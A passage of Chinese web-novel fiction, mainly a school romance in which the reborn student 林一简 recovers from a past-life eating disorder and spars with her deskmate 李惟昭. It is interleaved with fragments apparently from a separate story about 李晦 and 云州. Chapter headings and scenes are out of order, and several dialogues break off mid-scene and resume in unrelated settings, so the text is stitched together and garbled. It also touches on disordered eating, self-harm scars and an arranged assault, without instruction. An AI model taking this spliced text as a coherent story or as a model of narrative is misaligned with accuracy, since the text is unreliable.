“……”李惟昭面无表情,“要点脸吧,有本事等下别搭我家车回去。” “哥哥哥我错了!”段锐立马认输。 “你们这关系好乱啊。”林一简笑。 “惹不起惹不起,真得叫他声哥。”段锐说,“小学的时候吧,当时咱俩一起放学回家,路上遇到小混混打劫,他比我小,当时还比我矮半个头,眼都不眨一下,一板砖就下去了,从此他就是我哥。” “……” 林一简忍不住转头看了李惟昭一眼,心想,校霸都是有前科。 李惟昭喝着水,扬扬眉,浑不在意。 “所以他打球很菜,没人跟他玩吗?”林一简回到正题,问。 李惟昭一口水差点呛到,心想他形象就这么不堪吗? 段锐笑得要死,扬扬眼:“你等下就知道了。” 李惟昭已经一把揽过球,压腕拍了几下,吊儿郎当站那儿,笑意散漫模样。 “一起玩吗?” 欧阳艺闻言放下心来。 她一边拖着书包往旁边放,一边开口,“锻炼身体是挺好的,但是也不能太过量,过犹不及啊。” 累得澡都没来得及洗就睡了,这得跑得久啊? 林一简:“……” 虽然欧阳艺应该什么都不知道,但这话莫名像是带着深意一样。林一简沉默了好一会儿,才含糊地答应下来。 不过欧阳确实说得没错,这种事确实没有下次。 简直像是打开什么潘多拉的盒子一样。精神上的兴奋带来了身体的高度唤起,感知又反作用于神经,最后混乱到完全不知道是谁的情绪了……虽然不知道正常的体验是什么样的,但是绝对不会是她这种!! 不可能。不要了。没有下次!! 第 44 章 第 44 章 漫步田间,麦田还是油油的青绿色,但其上饱满的麦穗已然显出了丰收的兆头。 农人们来去匆匆,脸上都洋溢着欢欣之色,是对未来的期盼。 有谁能料想,堪堪两年之前,这里还是一片荒芜、入目尽是疮痍的死地呢? 杜彦之看了一会儿,忍不住出言感慨,“再过上两年,这云州当真可称得上一句云锦之地、人间桃源了。” 李晦倒是没否认什么,只不过脸上露出了明显不置可否的神色:这才哪跟哪啊?按照林一简那边的说法,这完全是温饱线上挣扎的贫困山区吧。 杜彦之见此,也只能在心底感叹:不愧是去过“仙宫”的人,果真非一般人见识。 就是不知传闻中的仙界是何等盛景。恐怕穷尽凡人想象,都难以窥得其中一分流光。 情感战胜了理智。 林一简一边无地自容:啊啊啊啊啊刚刚那句话一定不是她说!都是李惟昭的错!都是他勾我我才会这么馋的! 一边在内心说服自己:最后一次!吃完这块蛋糕就减肥! 李惟昭低笑了声,已经切了一大块蛋糕放置到纸盘里,懒洋洋递到她面前:“给。” 林一简双手端过,客套礼貌:“李李。” 再将这块香甜可口的草莓蛋糕轻轻放到桌上,林一简定定看着,目光不由复杂。 草莓蛋糕曾经是她最喜欢的食物,她喜欢草莓,更热爱烘焙。一个人静静待在厨房里,和面粉鸡蛋奶油在一起的无数时光,就像午后的阳光一样和煦。 亲手制作出美味的甜品,会让她不那么闪闪发光的人生里多出许多成就感。再一口咬下去,全部进到她圆滚滚的肚子里,那种心满意足没有任何事物可以比拟。 可后来被人嘲笑“胖”“丑”“肥猪”,她能做出世界上最美味的甜品,却再也高兴不起来。 于是她再也没打开过烤箱,厌恶一切让她变胖变丑的食物,甜品是罪魁祸首,草莓蛋糕成了她心底最避之不及的事物。 林一简犹豫了片刻,还是捏起叉子,小心翼翼取了一小块,慢慢放入口中。 清甜的草莓香,糖霜和黑巧碎的沙沙口感,丝滑又绵密的奶油,冰凉沁人的果酱流心,大颗粒的黄桃菠萝芒果,微酸不腻,像猫和老鼠动画片里一样柔软诱人的戚风…… 还有淡淡的柠檬味道,像夏日的翠绿葡萄藤蔓,在蓝到像水的天空下,风一吹,阳光就肆意耀眼。 一瞬间,林一简感觉自己仿佛置身于甜蜜的海洋里。 好满足,好幸福。 果然,人还是要吃饭! 如果没有碳水所提供的多巴胺,那么人生的一切都将毫无意义。 林一简忽然觉得很高兴,一种久违的激情、热烈以及产生幸福快乐的一切又在身体里重新涌动。 她以为她心理是厌恶的,可味觉告诉她,她仍然热爱。 她仍然热爱这世间所有美味的一切。 李惟昭见她一脸被抛上云端的幸福表情,轻轻咬着塑料叉,不由失笑:“有这么好吃吗?” “嗯,不够甜,我下次得多放点糖。”林一简微微弯起唇,用心品尝,用心回答。 回过头,少年唇红齿白,脸颊沾了点奶油,像梨涡,眸光稍敛淌着水色,端的是笑意无边。 林一简下意识闪了下睫,问:“你觉得好吃吗?” 这世上没有厨子不想得到夸赞。 “你自己烤的?”李惟昭很给面子,“还不错。” 林一简才扬起笑。 下一秒,李惟昭:“不是只会吃。” “……”- 认认真真重温了一上午课程,很快放学。 一打铃,林一简就收拾好书包去了食堂。 重来一世,身心对食物的渴望都恢复如初。 这让她既欣喜又新奇。 转了半天,林一简最后点了一份铁板饭。 “滋啦滋啦”,饱满的白米饭在铁盘里弹跳,翠绿的蔬菜和黑椒牛柳裹着浓稠汤汁。 高油高热量。 但,嗯,她喜欢。 林一简一边津津有味吃着饭,一边从书包里摸出手机来看。 长按开机,解锁,一打开通讯软件,就看到了她那十分震撼的头像和昵称——不瘦到100斤不改名。 她身高174,再瘦到100斤……真要上天了。 林一简自我反思了一阵儿,顺手把头像改成了一个卡通草莓奶油小蛋糕,昵称则是——好好吃饭。 吃完饭要午休。 她家离学校有点远,公交车要四五十分钟,高中生的时间就是生命,所以她申请了寝室,中午在寝室午休,晚上则回家。 林一简撑着太阳伞离开食堂,又收起太阳伞走进寝室楼,经过楼道,消火栓的镜面映过她的身影。 林一简走到楼梯口,又退回去,站在消火栓前,细细打量自己现在的模样。 女孩穿着红黑白校服,草莓发圈扎着高马尾,174的个子,青春又活泼。 身材丰满,将宽松的校服撑起,像一颗成熟的蜜桃。 脸也是圆润可爱,眉毛俊俏,荔枝眼纯净的像水洗过,鼻子挺翘,饱满鲜红的嘴唇无论怎么扬都是微笑的模样,天生就会让人觉得有亲和力和快乐。 林一简头一低,在自己双下巴下比了个V,看起来傻气又灵动。 双手又在自己气色红润的脸蛋上戳了戳,柔软又富有弹性。 明明很可爱,很漂亮呀。 所以为什么要不自信。 这世间的美从来不止一种。 不是瘦到100斤不到,拥有直角肩、A4腰、漫画腿就是最美的。 又或者说,是谁在定义美。 如果可以,她希望是自己定义,所有让她觉得舒适愉悦的样子就是最美的样子。 她觉得,她现在这个样子就挺好的。 身体健康,能吃能喝,就挺美。 林一简一边尽力说服自己,一边不自觉抬起手来看。 她现在的手腕,完好无缺,手臂白白胖胖,健健康康,大大方方地露在短袖校服外。 前世,因为病痛的折磨,她的手腕早已伤痕累累。 她不敢穿短袖,害怕别人异样的目光,即使是炎热的夏天。 她太没有安全感了。 前世因为校庆后的那次意外,她对外界的一切都十分抗拒,她不敢出门,不再穿裙子,去到有人群的地方,一定会把自己裹的严严实实,棒球帽,长发披散,口罩,深色宽松长袖长裤,好似将自己藏起来,内心的恐慌和焦虑才会平复下来一点。 她也太在意别人的目光了。 因为肥胖,自初中起,她的衣服绝大多数都是黑色,因为这样可以让她看起来瘦一点。她害怕同学的指指点点和嘲弄。 然而前世最瘦的时候,她只有八十斤不到,胸前可以看到肋骨,手臂和大腿细到似乎一掐就会断掉,她自己都觉得丑。她就像一只游走在世间的鬼,见不得光。 好像无论如何,她都活在别人的目光里,她都对自己的外貌有一种难以言喻的羞耻和焦虑。 可重来一世,很多事情都能想清楚。 与其内耗自己,不如指责别人。 她说了算。 微胖就是极品,欣赏不来的都是没品的东西。 林一简嘴角不由扬起一抹笑,转身离开消火栓的镜子,抬步上楼- 爬上四楼,林一简气喘吁吁。 她现在这个体质,真的要多多锻炼了。 回到寝室后,她完全睡不着。 所以强迫自己躺到13:30,就悄悄爬下床背上书包来教室了。 教室里只有零昭几个人,林一简从后门进来,扫了一眼,目光触及前排长卷发的女生背影,瞳孔骤然一缩。 她很快走到最后一排自己的位置上,放下书包,就拎起水杯出去了。 走廊一侧,饮水机前。 林一简刚打完一杯水,肩膀就被人拍了下。 “你打水怎么不叫我呀?我早上从床上醒来都九点了所以干脆请假没来。” 女生声音亲昵柔美,带着笑意。 林一简整个人一定,半晌,才转过身。 长卷发精致,校服扎进腰里勾勒出优美的身材曲线,一双眼清柔如秋水。 林一简第一次撞进这一潭秋水里,是在高一开学第一天。 由于没缴空调费,白色吊扇呼呼吹着,却怎么也赶不走燥热,教室里坐满了人,个个都在跟自己相熟的初中同学攀谈,吵吵嚷嚷,距离通知的报道时间已经过了半个多小时,新班主任还没来。 林一简坐在最后一排,原因无他,她身高太高,又胖,像一堵“墙”,会挡着后面同学看黑板,所以她每次都坐最后一排,她都习惯了。 桌上的小风扇马力很足,她趴下打算睡一觉。班上也有她的初中同学,但并不熟,又或者说,她从小到大都没什么朋友,所以她没有人可以聊天,就一个人坐这儿,边上还空了一个位置。 突然。 “报告!” 教室里瞬间安静了。 林一简也被惊醒,抬起头朝门口看去。 长卷发的女孩子穿着碎花连衣裙外搭鹅黄小衫,似乎是刚冲到教室门口,正抱着书包低头喘气,整个人透着匆忙。 待女孩抬起头,全场目光瞬间凝滞。 这实在是过分傲人的一张脸,像是清晨的第一缕阳洒下雪山,孤高明媚。 是一个精致到头发丝的绝世大美女。 安静了有好几秒,不知谁吹了声口哨,教室里才重新恢复吵吵嚷嚷。 林一简也很快收回目光,拿纸擦了擦额头的薄汗打算继续睡,毕竟这等春光明媚与她从来不沾边。 一旁课桌却忽然落下一个书包,那抹鹅黄小衫晃了过来,少女的声音依旧柔美明亮。 “你好,我叫李秋雅。” 林一简一转头,就骤然撞进了那汪秋水里。 就这样,班上最漂亮的女生和班上最平庸的女生成为了最好的好朋友。 有过无数个瞬间,她们亲密无间。 清晨的大课间广播里响着运动员进行曲,她拉着她下楼梯:“林一简,我们去做操!” 午后的阳光晒得人懒洋洋,她站起来伸了个懒腰宣布:“简简,走,小卖部去。” 晚自习的白炽灯刺眼,纸条从前排传到她桌上:“葵葵,陪我去厕所好不好~” 在那时,李秋雅可以说是她生命里的一束光。 可前世校庆那天,她表演完独自回家,被小混混堵在小巷子里。 后来才得知,那群小混混是李秋雅在社会上找的。 亲手将她推入深渊的也是她,李秋雅。 林一简心头一时爱恨交织,不知道用怎样的情绪,也不知道用怎样的语言。 李秋雅见她出神,抬手在她眼前晃了晃,笑:“傻了?” 林一简目光暗了暗,看不清有几分真几分假,就要别开李秋雅离去。 迎面却走来一个人,是陈泽。 陈泽在高二八班,就在她们班隔壁,出现在这里不稀奇。 可李秋雅又一把拉住了她的手:“简简,你怎么了?” 林一简站在那儿,进退两难,感觉自己的脑子快要炸了,那些痛苦的记忆控制不住涌了出来。 前世,也是这条走廊,也是饮水机旁。 那天是周末,要上晚自习,她为了多写一张试卷,早早就来了学校,为了减肥,晚饭是一个苹果,一边啃着苹果一边拿着单词书看一边上楼。 结果就撞见李秋雅和陈泽在饮水机的角落里接吻。 前几天还说她胖胖的也很可爱鼓励她追陈泽帮她送情书的女生,话语是那么刺耳:“林一简那只猪还在追着你跑吗?” 平日里永远温和有礼的男生,语气也十分轻蔑嫌弃:“她又丑又胖,谁会喜欢她。” 那天她站在原地很久,脑子里什么也没有,她想不明白。 还是两人从饮水机角落出来,她才落荒而逃。 她咬了两口的苹果还掉了,她的晚饭没了。 她用尽此生最快的速度跑下楼,不想回教室,也回不了家,只能蹲在堆放杂物的楼梯角里哭。 她想不明白,究竟是为什么,是她哪里做的不好,小雅才会那样说她,是不是她曲奇饼干做的实在是太难吃,陈泽才会讨厌她。 那是她一整个高中时代毁灭的开始。 就因为这两个人。 当时想不明白的事,现在早已明了。 是她瞎了眼,才会真心被人踩碎。 如果人一生中要有一个信仰,那么她选择永远忠于自己。 永远忠于自己的良知,也永远有报有还。 林一简忍下眼眶中的酸意,陡然眉目一冷,攥紧拳。 她果断甩开李秋雅的手:“我见了你们有点不舒服,先走了。” 李秋雅和陈泽还愣在原地。 林一简已经抬步往教室去了。 少女的身影越来越远,路过的走廊墙上贴着陶渊明《归去来兮辞》里的一句话。 ——“悟已往之不谏,知来者之可追。”- 林一简回到教室时,李惟昭刚拽拽把书包往椅背上一挎。 少年跟着坐到位子上,看着她气势汹汹回到座位上,更拽地把水杯往桌上一丢,然而坐下去翻书包的表情,却快要哭了。 李惟昭不由起了一丝兴味,懒洋洋问:“怎么了?” 林一简不想说话,没答。 “跟你那好姐妹掰了?还把人手一甩。” “……” “跟那个陈什么的表白失败了?” “……” “不会都有吧?” 林一简受不了了,转头凶巴巴:“没有!” “那你怎么?”少年桃花眼一挑,悠悠看着她那微湿的眼眶,意味深长。 “你怎么这么八卦?”林一简眉一皱。 “就问问。”少年依旧是那副漫不经心的模样,嘴角轻勾。 林一简盯着李惟昭那潋滟的桃花眼,分明兴致盎然,分明透着几丝说不清道不明的愉悦,她不由眼微眯。 “你怎么这么高兴?” * 云延城。 李晦醒来的时候,天色已经大亮。 漆黑夜幕下的灿烂烟花仿佛还映在眼底,耳畔还存留着人群欢闹的喧哗声,但只是转瞬之间,天光见明、万籁俱静,一切便如泡沫般消散,宛若一场极尽绚丽的梦境——那也确实是梦境无二。 南柯一梦、一枕黄粱。 从一开始就知道不会有未来的事……真的要继续下去吗? 第 45 章 第 45 章 李晦关于“要不要继续”这个问题还没有想出一个结果来,朔州那边倒是传来消息,召他回朔鄢。 李晦觉得这没什么,他在云州这边都呆了两年多了,也确实该回去一趟了。 但是杜彦之却没那么乐观。 他和李晦长谈了一次仍不放心,送别之时还是眉头紧皱,再次低声嘱托:“刺史此次前去,务必多加小心。” 杜彦之比李晦在朔鄢多呆了半年,但是这半年间却足够城内形势大变。 “你觉得我会输?” 林一简眉一挑,来了兴趣。 “我想你赢。”少年少有的收起漫不经心,神色认真。 但李惟昭就算是再自信,也不敢说自己能一个月从年级倒数考到全校第一,定定看了她几秒,又平静说:“如果不行,我也希望你不要输的太惨。” “为什么关心我?”林一简不解,“我们似乎并无太大关联,还没有达到那种与有荣焉的关系。” 李惟昭目光一顿,自己也想不明白,但仍旧挑眉散漫说:“关爱同学是一个人最基本的道德品质,恰好,我有。” 林一简瞬间轻笑出声:“以前怎么没发现你这么道德优良。” 记得前世,这位哥,那可是冷漠刻薄的很。 前世同桌时,有很多女生给李惟昭塞情书送奶茶。 被她撞见的就有好几次,人女孩情书奶茶还没送出手,那位哥就长腿一抬走了。 可谓是十分不留情面。 明着来不行,于是暗着来,后来李惟昭每天上学第一件事,掀开桌板取出塞满的情书丢进垃圾桶,有时晚饭大课间回来,桌上还会莫名其妙多一杯奶茶,问也不知道谁送的,那位哥就随手一拎搁她桌上。 她那时候正减肥呢,一边啃苹果咽白开水一边拒绝:“我不要。” “不要就丢了吧。”李惟昭桃花眼幽幽,抓住了她的把柄一样,“你也不想浪费粮食吧。” “……” 本着不浪费粮食的原则,前世她不知帮李惟昭消受了多少其他女生送的奶茶。 那时她小声埋怨李惟昭是她减肥路上的绊脚石,李惟昭还要刻薄她:“你每天一杯奶茶当补营养了。” “……” 林一简现在想起前世的这些事,还真是:我真是李李你了…… 思绪忽然被一道声音打断。 “没发现吗?”少年的声音带着几分耐人寻味,“那可能是你以前眼盲心瞎。” 林一简:“……” 操,这话她竟无法反驳。 “另外。”少年又漫不经心扬起声音。 “你不是一般同学,你是我唯一的同桌。” “?!” 林一简脑子“轰”的一下炸开了,缓缓转过头,满脸不可思议地去看李惟昭。 四目相对那一瞬。 李惟昭似乎也察觉到自己这话有些歧义,极快地闪了下睫,纤长浓密漆黑如鸦羽,幽微地扫进人心底,少年再懒洋洋掀起眼皮,又是那一幅玩世不恭的淡漠模样:“这话没毛病。” “……” 行,没毛病。 “你对你以前的同桌也说过这句话吗?”林一简眨眨眼。 “没。”少年声线很淡。 林一简不自觉出神,浮想联翩。 没对以前的同桌说过,那就是,只对她说过,她是他同桌,她区别于其他同学,她独一无二…… 李惟昭又挑眉说:“我以前同桌都是段锐。” “……”林一简瞬间面无表情,好吧是她想多了。 晚自习的铃早就打了。 林一简不想再浪费时间闲扯,抽出张数学卷子开始写。 李惟昭在一旁见了,沉默片刻,忽然问:“你数学和物理怎么样?” 林一简笔一顿,转过头去看他,目光疑惑不解。 李惟昭神色寡淡,声音也平直:“需要的话,我可以帮忙。” 林一简瞬间笑出了声:“我觉得我成绩应该比你好。” 记得前世,这一次月考,李惟昭总分比她还低一分,李惟昭全班倒数十八,她全班倒数十九,他俩一整个菜的半斤八两。 只不过这一世,李惟昭刚转来附中,还没有月考,还没有人知道李惟昭的真实水平。 也没有人知道她重来一世,没有人知道她早已考过全校第一。 李惟昭其实早就看过林一简上学期最后一次考试成绩——他这辈子都没考过那么差的成绩,闻言扯唇一笑,满眼散漫里明晃晃写着“在我这就别装了吧?” 林一简觉得自己有必要纠正一下李惟昭的这种错误想法,扬睫故意问:“你们大少爷也学习吗?” “我觉得你对我的刻板印象有点深。”李惟昭眉一挑,神色轻狂,“你少爷我不光学习,学的还不错。” 林一简更想笑了,心想哥们你装逼也不打个草稿,你什么德行前世我一清二楚,于是缓缓凑近脸,睁大眼睛直直盯着李惟昭,故意悠悠着语气说:“是吗?我怎么有点不太相信呢?” 李惟昭唇瞬间抿成一条直线:“……” 好不容易关爱同桌一次…… “你就是这么对待同桌的关爱?”李惟昭眸轻敛,深邃浓郁中显出些微愠色。 林一简闪闪睫:“……” 怎么说的她跟个白眼狼一样。 “我就是觉得,你更应该多多关心一下自己的成绩。”林一简尽量显出认真的无辜眼神。 “……” 还是断定他不学无术呗。 李惟昭觉得自己这辈子都没这么被质疑过。 “不过,你那个成绩,是怎么想到帮助别人学习的?”林一简又若有所思。 李惟昭:“???” 得,真行,质疑还不够,还嘲讽上了。 “没没没!”林一简一看李惟昭那冷冷的神色,连忙解释,“没有不好的意思,就问问,别误会。” 李惟昭:“……” 默了片刻。 少年神色无澜,淡淡开口:“帮助他人这事儿从来不需要考虑。” 林一简一时愣住,过了一会儿,才点点头:“那你人还不错。” 李惟昭:“……” “偷偷告诉你,我成绩还不错。”林一简又凑近,在他耳侧轻声说。 这声音绵绵呼呼,轻缓柔软又没有一丝杂质,像纯白的奶油蛋糕上细细地撒上一层糖霜,李惟昭陡然一定,耳廓被温和的气息拂过,有些些发热。 “不用太担心。”少女的声音又带出笑意,似银铃。 李惟昭僵在那儿,感觉自己有点心律不齐,可能需要去医院查查。 林一简撩而不自知,很快转回去写题。 前世休学在家,她除了强迫自己不吃饭,强迫自己不停运动,还会强迫自己没日没夜学习。 她好像被一个漩涡所围绕着,她要更瘦一点,成绩更好一点。 无休无止,即使已经到了病态的程度。 不停下来她会永远陷在里面,停下来她又会因为焦虑而无比痛苦。 所导致的是,近五年内所有能找到的卷子她都刷了个遍,各类题型的解法早已烂熟于心,分数也已经提升到了极限。 时间和重复,能改变一切。 但重来一世,她仍旧不敢放松。 她害怕意外,害怕失误,害怕输给黎梦,或许只有月考成绩出来那一天,她的一整颗心才能真正悬下去。 林一简迅速刷完一张卷子,才喝了口水,转头去看李惟昭。 李惟昭面前摊着本物理,也在刷题。 少年仍旧是那副漫不经心模样,笔松松夹在冷白细长的指间,要握不握,目光掠了一眼题,在一旁草稿纸上演了几秒,一个答案就划拉上去了。 就是这么随意。 字迹锋利而张扬,一笔划就,占了一整个括号,力透纸背。 就很李惟昭。 至于答案正确与否。 林一简定睛一看,对的?! 林一简猛然就想起了前世关于李惟昭成绩的一些事。 前世,这一次月考,李惟昭虽然总分班级倒数,但物理和数学却是接近满分。 后来才听说,李惟昭高一是在国外读的,回国内上高二相当于一切从零开始。 然而她休学后,李惟昭又一声不响考上全校第一,一跃成万人膜拜的年级大佬。 再听说李惟昭,就是在何田田的升学宴上,李惟昭高考是临城理科状元,A大B大随便上的分数,却报了雪城大学。 雪城大学倒也不差,全国理工科TOP5的高校,然而所有人都没有想到,李惟昭报的专业却是,心理学。 心理学,是她想学的专业,她想把自己治好。 雪城,是她生父生母,也就是萧家,的所在地。 重来一世,林一简自认为对绝大多数事情都洞若观火,唯独李惟昭,她怎么也看不明白。 又或许,她从一开始就没有看明白过。 不过,可以确定的一点是,李惟昭将会是她考上全校第一路上的一个极大变数。 她一直都明白自己跟李惟昭这种天赋型选手的区别,一张一百分的卷子,她考一百分是因为掌握了一百分的知识点,李惟昭考一百分是因为满分只有一百分。 林一简还坐位置上发呆,不知不觉已经到了快下晚自习的时间,班上开始骚动起来。 何田田趁机转过头,偷偷瞅了眼李惟昭,又看向她小声问:“简简,你看手机了没?” 林一简回过神来,伸手去书包里摸手机:“没,怎么了。” 何田田迅速看了眼一旁的李惟昭,欲言又止,指了指她的手机:“那个……你看了就知道了。” 林一简立马开机。 直到这时,她才看见班群里的惊天大震撼。 不知是谁起的头,晚自习有人在班群里匿名聊天。 话题中心,自然是她和黎梦之间的赌注。 安恒德肃下表情,“我可告诉你,你别动那些心思!” 他倒也想起李晦那吃软不吃硬的狗脾气,深吸口气,放软了语气,“就算不为别人,也为那姑娘想想,人家日子过得好好的,要是因为你平白遭了祸事……” 安恒德还没说完呢,就被李晦打断,“我知道了。” 安恒德略微诧异地抬头,对上李晦平静的目光。 他语调平稳、表情十分冷静地开口,“大哥说的有理,我会照做的。” 安恒德:“……” 他不信!一个字都不信!!就眼前这个犟种,能三两句话说通才怪,他绝对憋着个大的! 第 46 章 第 46 章 虽然安恒德忧心忡忡,但是李晦这次是真没打算干什么。 他是真的觉得自己想清楚了。 晚间,李晦过来的时候,林一简正准备填报名表。 旁边欧阳艺的连声催促,“选这个选这个!就当出去玩了!” 原本要说的话在舌尖上转了个来回,李晦顿了顿,终是转而问:[选什么?] 林一简:[暑假的短学期。] 李晦奇怪:[不是去实习吗?] 林一简倒是知道李晦为什么会这么问。 她一边在欧阳艺的催促下填着表格,一边解释:[竺妍肯定是去实习的,但是学院也有交流项目,可以代替一部分实习……] 她抬手往林一简脑门上碰了碰,立刻就露出了“果然”的神色,肯定道:“你发烧了。” 林一简:?“!” 林一简一听到李惟昭念的内容,立马扑过去抢:“还我!” 该死,她居然忘了这茬,她写给陈泽的情书也一并放到了蛋糕里! 李惟昭当然不干,手一扬,举的高高的,又眼一挑,显出一抹讽刺的笑来。 他的那双眼睛,是漂亮的茶棕色,平常时候会显得很温柔,此刻双眸敛起,尾梢上扬,又透出危险的气息,愠色微浓。 林一简个子虽高,但记得上次体育课量身高李惟昭有188,她虽然是一只灵活的胖子,但也觉得跟这位哥抢下去没什么意思,于是好商好量,语气不耐烦:“你想干什么?” 这边动静有些大,教室里所有人的目光早就聚集了过来:什么!我没看错吧!最后一排,这姿势,这是,林小胖要把李大少爷扑倒??? 李惟昭也察觉到了,一边要挽回形象,一边又觉得自己有点反应过度,于是适可而止,将没看完的情书连带粉信封还了回去,眉微挑,很不屑的样子:“喏。” 林一简一把扯了过来,总算松了一口气。 李惟昭又漫不经心问:“你喜欢陈泽?” 林一简迅速扫了眼情书,目光触及“上次体育课”“医务室”“喜欢”等字眼,想起前世真心错付,顿觉一阵厌恶,干脆利落将情书撕了,跟着不耐烦答:“不喜欢。” 少年直接忽视了她的回答,声音吊儿郎当,多少带着几丝愉悦。 “眼光真差。” “……” 这话放在前世,林一简肯定会觉得李惟昭刻薄,但放到现在,对,您说的真对。 但林一简多少有几分不爽,我们现在很熟吗你就抢我情书?也就想不识好人心,下意识反驳。 “关你什么事,又不是喜欢你。” “……” 李惟昭瞬间沉默。 行,可以,很好。 场面一时凝滞。 突然,传来一道呼喊:“林一简,有人找你!” 林一简循声望去,只见教室窗外立着个戴眼镜的清秀少年,正微笑着朝她招手。 不是陈泽又是谁。 李惟昭也看到了,低笑了声,又略带玩味地去看林一简。 林一简定在那里,看向窗外的目光有些复杂,她还没算账有人却找上门来了,她不想面对又不得不出去。 做了半天心理建设,林一简终究是起身,往教室外走去。 陈泽就等在那里。 林一简见了就面色一冷:“有事吗?” 陈泽脸上立时闪过一丝讶异,一夜之间,林一简对他的态度怎么来了个一百八十度大转弯,明明昨天下晚自习,林一简还远远追上他,把曲奇饼干塞进他怀里,满脸羞涩地说今天要给他个惊喜,今天怎么…… 思及此,陈泽忍不住试探问:“你身体不舒服?” 这话要放在前世,林一简肯定会雀跃于陈泽关心她,但放到现在,林一简只觉得虚伪。 林一简眉一皱,已然不耐烦:“没,怎么了?” 陈泽这个人进入正题前总喜欢客套几句,摆出惯有的温和姿态:“你昨天送我的曲奇我尝了,好像有比上次更好吃一点,你厨艺又进步了。” 一听到曲奇,林一简目光就是一寒,忍不住扯出一抹冷笑:“哦?真的吗?” 前世的场景还历历在目。 那是一个午后的大课间。 物理老师一出教室,全班人都趴下了,很安静,她悄悄从书包里取出昨天在家烤的小曲奇,刚咬了一小口,就对上了一旁陈泽温和的目光。 她不好意思地将小曲奇推过去,跟陈泽一起分享,陈泽尝了几块,笑着称赞她厨艺很好,小曲奇很好吃。 天知道她当时有多开心,一个从小到大各方面都不太行的人,身材肥胖,成绩差劲,性格懦弱,厨艺是她唯一值得骄傲的事情。 于是自那以后,她经常给陈泽送各种小饼干,小泡芙,小蛋糕,即使高二不在一个班,陈泽每周也都会收到她亲手制作的甜品。 可高二上学期某天放学,她钥匙落教室了折回去拿,路过陈泽班上,却见到陈泽将她送的小曲奇原封不动扔进垃圾桶,神色轻蔑地跟一旁男同学调侃:“这么腻的东西,谁要吃。” 她整个人也像是那一袋曲奇,被原封不动扔进了垃圾桶。 多可笑。 此时,林一简只是神色讽刺,一字一顿:“那我真的是,李李你了。” 陈泽脸上笑容一僵,觉得林一简情绪很不对劲,于是快速进到正题:“你昨晚不是让我今天下早自习来找你的,说有东西要给我?” “哦,这个啊。”林一简轻笑了声,不说她都想不起来,“我忘了,你回去吧。” 敷衍至极。 说完,林一简就转身要回教室。 陈泽脸色立时不太好,站在原地一句话都说不出来,只能怔怔看着林一简的背影。 陈泽实在想不通,林一简今天怎么会这么反常,跟变了一个人一样。 难不成,她知道了什么? 想到这,陈泽立马出声:“我走了,你记得吃早饭,别再低血糖晕倒了。” 又听到这温和的声音,林一简顿觉一阵恶心,怎么会有人这么虚伪,在任何情况下,对任何人,都可以毫无差别地表现出关切的样子,一刻也不想跟这种人待在同一个空间里,她一刻也没停,立马加快脚步进了教室。 一进教室,林一简就见自己位置上站了个人。 男生高大白净,正咬着小笼包,跟李惟昭说话:“哥你就别挑了,有的吃就不错了。” 李惟昭吸着豆浆,看都没看桌角的小笼包一眼,还是那副漫不经心的样子:“不好吃,不如我奶奶做的。” “我服了,你奶奶做的那是好不好吃的问题?”男生似乎是被气笑了,“活该你今早没饭吃。” “谁说没饭吃了?”李惟昭眉一挑,轻敲了下桌上的草莓蛋糕盒子。 “哟,谁送的啊?”男生语带八卦。 “喏。”李惟昭朝林一简的座位眼神示意。 余光正好扫到林一简回来,李惟昭目光一定。 男生也注意到了,转过头来看。 林一简立马认出了男生的身份——班长段锐,为人端正,前世她住院还去医院看过她,她印象还不错。 至于段锐和李惟昭的关系,据说是发小。 段锐连忙让出位置,让林一简坐下。 林一简真心不知道自己早上要吃什么,因为前世的病,她现在对食物多多少少还是有点儿心理排斥,吃饭前会下意识计算卡路里,食堂的杂酱面三鲜粉鸡蛋饼对她来说热量都太高了,再加上她现在的体重,她就更觉得自己要瘦下来,自己不能吃。 但她又很不想重蹈前世的覆辙,她真的很想要健康地活下去,两相互斥,林一简强迫自己拿过书包翻找食物。 段锐在继续跟李惟昭说话:“大早上的吃这么甜?” 李惟昭正好看到林一简从书包里拿出一个苹果,服了,连续三天看这姑娘早餐就吃一个苹果了,于是漫不经心道:“我又不像某些人,一天天的要减肥,体育课还低血糖晕倒。” 只翻到苹果苹果还是苹果的林一简:“……” 忘了前世这个时候她刚开始减肥,下定决心把所有零食都丢了,然后早晚餐只吃一个苹果。 结果就是,开学第一周的第一节体育课,也就是上周五,三天前,她当场低血糖晕倒了。 她当时眼前一黑,再醒来就是在医务室,问是谁送她来的,校医只笑着说:“是一个高高帅帅的男生抱你来的,他说是你同桌。” 当时她只有过两个男同桌,一个陈泽,一个李惟昭。 那天正好跟陈泽他们班一起上体育课,自由活动时间,她站树底下,看陈泽带着班上几个男生和李惟昭段锐他们打球。 就这样,她开始追求陈泽,亲手烤了生日蛋糕,又写了情书要送出去。 她毫不怀疑那天就是陈泽送她去的医务室。 为什么不是李惟昭? 仍记得那天她从医务室回到教室,李惟昭往她桌上抛过几颗薄荷糖,少年眉眼轻佻,笑意薄讽,辞色微冷:“这么大个人低血糖都不知道,还天天早上只吃一个苹果。” “……” 是的呢,这位哥倒是随时随地都能从兜里掏出几颗薄荷糖,倒是从不会低血糖。 或许李惟昭这个人,就跟他最爱的薄荷糖一样。 味道是甜的,但性冷,且形薄。 用人话说就是。 用意是好的,但天性高傲矜冷,表现出来的永远只有薄薄一层——他似乎从来不会用柔和的方式表达,让人看到的永远是荆棘和霜雪,猜不透到底是讽刺还是关心。 正好,她感受到的永远只有淡淡的讽刺。 那句话她是这样解读的:你这么胖居然还会低血糖?都这样了还天天早上就吃一苹果?净添乱。 所以怎么可能是李惟昭。 让她信是李惟昭抱她去的医务室,还不如信李惟昭暗恋她。完全是不可能发生的事。 但重来一世,林一简又觉得,李惟昭这种性格也还不错。 真情实感的刻薄,总比假模假样的关心好。 此时,林一简也觉得自己回以真情实感的刻薄会比较好。 “管好自己。” 一听这话,李惟昭&段锐就是一愣。 段锐:这姑娘这么厉害? 李惟昭:这姑娘什么时候这么厉害了? 重生了还要看人脸色,那她还不如重开。 林一简又从书包里透支了几个苹果,洗了洗就是啃。 “……” 一分钟后。 李惟昭轻轻打开蛋糕的立方体透明包装盒,浓郁的奶油香甜和清新的草莓果味瞬间散发了出来。 林一简觉得自己苹果啃不下去了。 她一边说服自己要意志坚定,一边目不转睛地盯着草莓蛋糕,喉咙还止不住地滚了滚。 真的,这是生理反应,她控制不住。 好香好甜好想吃…… 偏李惟昭见她馋的不行,还故意将草莓蛋糕移近了一点,挑起那双桃花眼勾她。 少年慵懒的声音又是那么撩人心弦。 “吃吗?” 